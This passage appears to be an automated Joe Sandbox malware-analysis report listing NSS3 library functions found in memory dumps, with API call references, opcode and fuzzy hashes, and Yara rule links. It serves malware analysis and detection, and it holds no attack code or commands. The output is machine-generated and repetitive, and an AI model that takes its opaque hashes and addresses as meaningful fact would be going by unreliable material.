Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: ddd885fc449a39708fe20f948cd5dbc2750ea1c1dea9c7d31bc6039e20470157
Instruction ID: ed0269c2a7e38130a0a25c5cb0bade0e8f8e9050504a343b03dde40aff1705dd
Opcode Fuzzy Hash: ddd885fc449a39708fe20f948cd5dbc2750ea1c1dea9c7d31bc6039e20470157
Instruction Fuzzy Hash: 7861D6B1E26225CBDB01CF64DC107EEB7B2AF85308F284164E414ABB55EB32DC15CB55

Function 6C5F8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C5F7313), ref: 6C5F8FBB

Part of subcall function 6C5F07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C598298,?,?,?,6C58FCE5,?), ref: 6C5F07BF
Part of subcall function 6C5F07B0: PL_HashTableLookup.NSS3(?,?), ref: 6C5F07E6
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F081B
Part of subcall function 6C5F07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C5F0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C5F7313), ref: 6C5F9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C5F7313), ref: 6C5F903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C5F7313), ref: 6C5F909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C5F7313), ref: 6C5F90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C5F7313), ref: 6C5F90F1

Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F10F3
Part of subcall function 6C5F10C0: EnterCriticalSection.KERNEL32(?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F110C
Part of subcall function 6C5F10C0: PL_ArenaAllocate.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1141
Part of subcall function 6C5F10C0: PR_Unlock.NSS3(?,?,?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F1182
Part of subcall function 6C5F10C0: TlsGetValue.KERNEL32(?,6C598802,00000000,00000008,?,6C58EF74,00000000), ref: 6C5F119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C5F7313), ref: 6C5F906B

Part of subcall function 6C63C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C63C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C5F7313), ref: 6C5F9128

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 8b76ce28d1c789651766cef56e2e21c450c98b890ed536aa5e35707fe29e2fd1
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 0351AF71A006018FEB18DF6ADC44F26B3F9AF84318F154429E935D7B61EB32E806CE91

Function 6C5A9C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6C5A8850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6C5B0715), ref: 6C5A8859
Part of subcall function 6C5A8850: PR_NewLock.NSS3 ref: 6C5A8874
Part of subcall function 6C5A8850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6C5A888D

PR_NewLock.NSS3 ref: 6C5A9CAD

Part of subcall function 6C6598D0: calloc.MOZGLUE(00000001,00000084,6C580936,00000001,?,6C58102C), ref: 6C6598E5

Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807AD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807CD
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C51204A), ref: 6C5807D6
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C51204A), ref: 6C5807E4
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,6C51204A), ref: 6C580864
Part of subcall function 6C5807A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C580880
Part of subcall function 6C5807A0: TlsSetValue.KERNEL32(00000000,?,?,6C51204A), ref: 6C5808CB
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808D7
Part of subcall function 6C5807A0: TlsGetValue.KERNEL32(?,?,6C51204A), ref: 6C5808FB

TlsGetValue.KERNEL32 ref: 6C5A9CE8
EnterCriticalSection.KERNEL32(?,?,6C5AECEC,6C5B2FCD,00000000,?,6C5B2FCD,?), ref: 6C5A9D01
TlsGetValue.KERNEL32(?,?,?,6C5AECEC,6C5B2FCD,00000000,?,6C5B2FCD,?), ref: 6C5A9D38
EnterCriticalSection.KERNEL32(?,?,6C5AECEC,6C5B2FCD,00000000,?,6C5B2FCD,?), ref: 6C5A9D4D
PR_Unlock.NSS3 ref: 6C5A9D70
PR_Unlock.NSS3 ref: 6C5A9DC3
PR_NewLock.NSS3 ref: 6C5A9DDD

Part of subcall function 6C5A88D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C5B0725,00000000,00000058), ref: 6C5A8906
Part of subcall function 6C5A88D0: EnterCriticalSection.KERNEL32(?), ref: 6C5A891A
Part of subcall function 6C5A88D0: PL_ArenaAllocate.NSS3(?,?), ref: 6C5A894A
Part of subcall function 6C5A88D0: calloc.MOZGLUE(00000001,6C5B072D,00000000,00000000,00000000,?,6C5B0725,00000000,00000058), ref: 6C5A8959
Part of subcall function 6C5A88D0: memset.VCRUNTIME140(?,00000000,?), ref: 6C5A8993
Part of subcall function 6C5A88D0: PR_Unlock.NSS3(?), ref: 6C5A89AF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 72590cf41e7b3638139f1ff285006d3336036441f7d1bb4511ef482eaa7e4adc
Instruction ID: 66c7a288d7600121542f93b4cd3057755169b1faf0ef13650224fc3bcf417884
Opcode Fuzzy Hash: 72590cf41e7b3638139f1ff285006d3336036441f7d1bb4511ef482eaa7e4adc
Instruction Fuzzy Hash: 245162B0A05715DFDB00EFAAC88466EBBF0BF44348F158929D8599BB10DB31E885CB91

Function 6C6A9EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6A9EC0
EnterCriticalSection.KERNEL32(?), ref: 6C6A9EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6C6A9F73
EnterCriticalSection.KERNEL32(?), ref: 6C6A9FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6C6A9FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6C6A9FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6C6AA01D

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: db64b8084a33160a1e1bbe05adee16afe60557bac7ba8c3c9377e24c1bfde349
Instruction ID: 54a83dba56b1c9e9d395b6a75b9b24ea1bfbe851e10cc6b55c7fd2f5a0152e37
Opcode Fuzzy Hash: db64b8084a33160a1e1bbe05adee16afe60557bac7ba8c3c9377e24c1bfde349
Instruction Fuzzy Hash: 6551A0B2800600DBCB109F65D48468AB7F4FF0A31DF25856AD85957B12E731EC96CF99

Function 6C59DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C59DCFA

Part of subcall function 6C659DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DC6
Part of subcall function 6C659DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C6A0A27), ref: 6C659DD1
Part of subcall function 6C659DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C659DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C59DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C59DD62
CERT_DestroyCertificate.NSS3(?), ref: 6C59DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6C59DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6C59DD8F

Part of subcall function 6C5B06A0: TlsGetValue.KERNEL32 ref: 6C5B06C2
Part of subcall function 6C5B06A0: EnterCriticalSection.KERNEL32(?), ref: 6C5B06D6
Part of subcall function 6C5B06A0: PR_Unlock.NSS3 ref: 6C5B06EB

CERT_DestroyCertificate.NSS3(?), ref: 6C59DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6C59DDB7

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 51fb93d8e0ef556b463fe6c1f6785ec0555a8cad169153bfac6d3561abd5b0b7
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 8821BFB6E012999BDF01DEA5DC409DFB7B8AF06208B1804A0ED08A7721F731ED15CBE1

Function 6C625F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625F72

Part of subcall function 6C58ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C58ED8F
Part of subcall function 6C58ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C58ED9E
Part of subcall function 6C58ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C58EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625FCC
free.MOZGLUE(?,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625FF4
free.MOZGLUE(?,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C625FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C626019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C62AADB,?,?,?,?,?,?,?,?,00000000,?,6C6280C1), ref: 6C626036

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 586b7979f75361db348d8611cb3063d5564a2ddeabc01ed1819bb387f39041ac
Instruction ID: 6a4b27cd4d5f007370b360711ba8a3592809c92fc09ee497d967f6a8f99f6f19
Opcode Fuzzy Hash: 586b7979f75361db348d8611cb3063d5564a2ddeabc01ed1819bb387f39041ac
Instruction Fuzzy Hash: AD211DF5605B00ABEB209F75DC48BD3B7B8AB45748F14092CE46A87640E77AE418CB95

Function 6C593C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C60460B,?,?), ref: 6C593CA9
EnterCriticalSection.KERNEL32(?), ref: 6C593CB9
PL_HashTableLookup.NSS3(?), ref: 6C593CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C593CD6
PR_Unlock.NSS3 ref: 6C593CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C593CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C593D03
PR_Unlock.NSS3 ref: 6C593D15

Part of subcall function 6C63DD70: TlsGetValue.KERNEL32 ref: 6C63DD8C
Part of subcall function 6C63DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C63DDB4

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: ae5e9c6acf8c236fed99ba665821ae42060e879561dba966574e3db1dca223ce
Instruction ID: a395507c4e7bc0ab1cfb9b3ed84aa64c1a2a62589aaa057c6d7d63c24134a91e
Opcode Fuzzy Hash: ae5e9c6acf8c236fed99ba665821ae42060e879561dba966574e3db1dca223ce
Instruction Fuzzy Hash: 9D1106B6E00654FBDB012B25FC458AA3B79EB42298F140170EC2C83621FB22DC6887D9

Function 6C599C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5B11C0: PR_NewLock.NSS3 ref: 6C5B1216

free.MOZGLUE(?), ref: 6C599E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C599E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C599E4E
TlsGetValue.KERNEL32 ref: 6C599EA2

Part of subcall function 6C5A9500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C5A9546

EnterCriticalSection.KERNEL32(?), ref: 6C599EB6
PR_Unlock.NSS3 ref: 6C599ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C599F18

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 36e7af9f50dcd34c0916187b7462cf4215f1c81aea1fc8bd21f10ad824e9cac2
Instruction ID: 194cba7578114a7730d6c56377ae77040a5649f2b97d3fc40da2422ced65c05f
Opcode Fuzzy Hash: 36e7af9f50dcd34c0916187b7462cf4215f1c81aea1fc8bd21f10ad824e9cac2
Instruction Fuzzy Hash: 358105B1A00341AFEB01DF75DC81AABB7A9BF85248F144568E84987B11FB31EC19C7A1

Function 6C5ADCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5AAB10: DeleteCriticalSection.KERNEL32(D958E852,6C5B1397,5B5F5EC0,?,?,6C5AB1EE,2404110F,?,?), ref: 6C5AAB3C
Part of subcall function 6C5AAB10: free.MOZGLUE(D958E836,?,6C5AB1EE,2404110F,?,?), ref: 6C5AAB49
Part of subcall function 6C5AAB10: DeleteCriticalSection.KERNEL32(5D5E6C7A), ref: 6C5AAB5C
Part of subcall function 6C5AAB10: free.MOZGLUE(5D5E6C6E), ref: 6C5AAB63
Part of subcall function 6C5AAB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C5AAB6F
Part of subcall function 6C5AAB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C5AAB76

TlsGetValue.KERNEL32 ref: 6C5ADCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C5ADD0E
PK11_IsFriendly.NSS3(?), ref: 6C5ADD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C5ADD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5ADE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5ADEA6
PR_Unlock.NSS3(?), ref: 6C5ADF08

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: 7dab5e5d05ecc0769ffdd211f98c2e18c5372b631f3883ce8d272316cdb51209
Instruction ID: eca6fe1468f876aff31dba09784805471ff983c5bf1e4da16641e6441f581463
Opcode Fuzzy Hash: 7dab5e5d05ecc0769ffdd211f98c2e18c5372b631f3883ce8d272316cdb51209
Instruction Fuzzy Hash: 9691B3B5A001059FDB00DFAADC81BAFB7B1AF58308F144029DD199B741EB31ED56CB91

Function 6C565FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C64BB62,00000004,6C6B4CA4,?,?,00000000,?,?,6C5231DB), ref: 6C5660AB
sqlite3_config.NSS3(00000004,6C6B4CA4,6C64BB62,00000004,6C6B4CA4,?,?,00000000,?,?,6C5231DB), ref: 6C5660EB
sqlite3_config.NSS3(00000012,6C6B4CC4,?,?,6C64BB62,00000004,6C6B4CA4,?,?,00000000,?,?,6C5231DB), ref: 6C566122

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C566095
%s at line %d of [%.10s], xrefs: 6C5660A4
misuse, xrefs: 6C56609F

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: a3c8c12e93cbf3704224fb89ca52c8cdb827188d88b54a20270a5cb81b19304f
Instruction ID: 7e658978297c19bf903b362117bf57d9a3f74a2c0734c58707d3e9a6e6d25c25
Opcode Fuzzy Hash: a3c8c12e93cbf3704224fb89ca52c8cdb827188d88b54a20270a5cb81b19304f
Instruction Fuzzy Hash: BFB19574E08746CFCB04CF5DC6849A9BBF0FB1E304F05855AD549AB722D730AA94CB9A

Function 6C514F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C514FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5151BB

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5151A5
%s at line %d of [%.10s], xrefs: 6C5151B4
unable to delete/modify user-function due to active statements, xrefs: 6C5151DF
misuse, xrefs: 6C5151AF

Memory Dump Source

Source File: 00000000.00000002.2155343794.000000006C511000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C510000, based on PE: true

Associated: 00000000.00000002.2155320551.000000006C510000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155503884.000000006C6AF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155600612.000000006C6EE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155631643.000000006C6EF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155660924.000000006C6F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2155690255.000000006C6F5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c510000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: b7891ae2df9800095dbdd95204fc8647574701e243726aa4a12d1b4278abc43f
Instruction ID: 59f94a6530c899f4e973c1e39ef0c99ad18ee4f8dcc083e8f837d2b5702f8e54
Opcode Fuzzy Hash: b7891ae2df9800095dbdd95204fc8647574701e243726aa4a12d1b4278abc43f
Instruction Fuzzy Hash: 7471ACB5A0820A9FEB01CE55CCC8B9A77B5BF48318F554528FD199BB81D335E850CBA1

Function 6C5FFF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C5FF165,?), ref: 6C5FFF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C5FF165,?), ref: 6C5FFF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C5FF165,?), ref: 6C5FFF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C5FF165,?), ref: 6C5FFF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C5FF165,?), ref: 6C5FFFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C5FF165,6C6C219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C5FFFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C5FF165,?), ref: 6C6000A6

Memory Dump Source

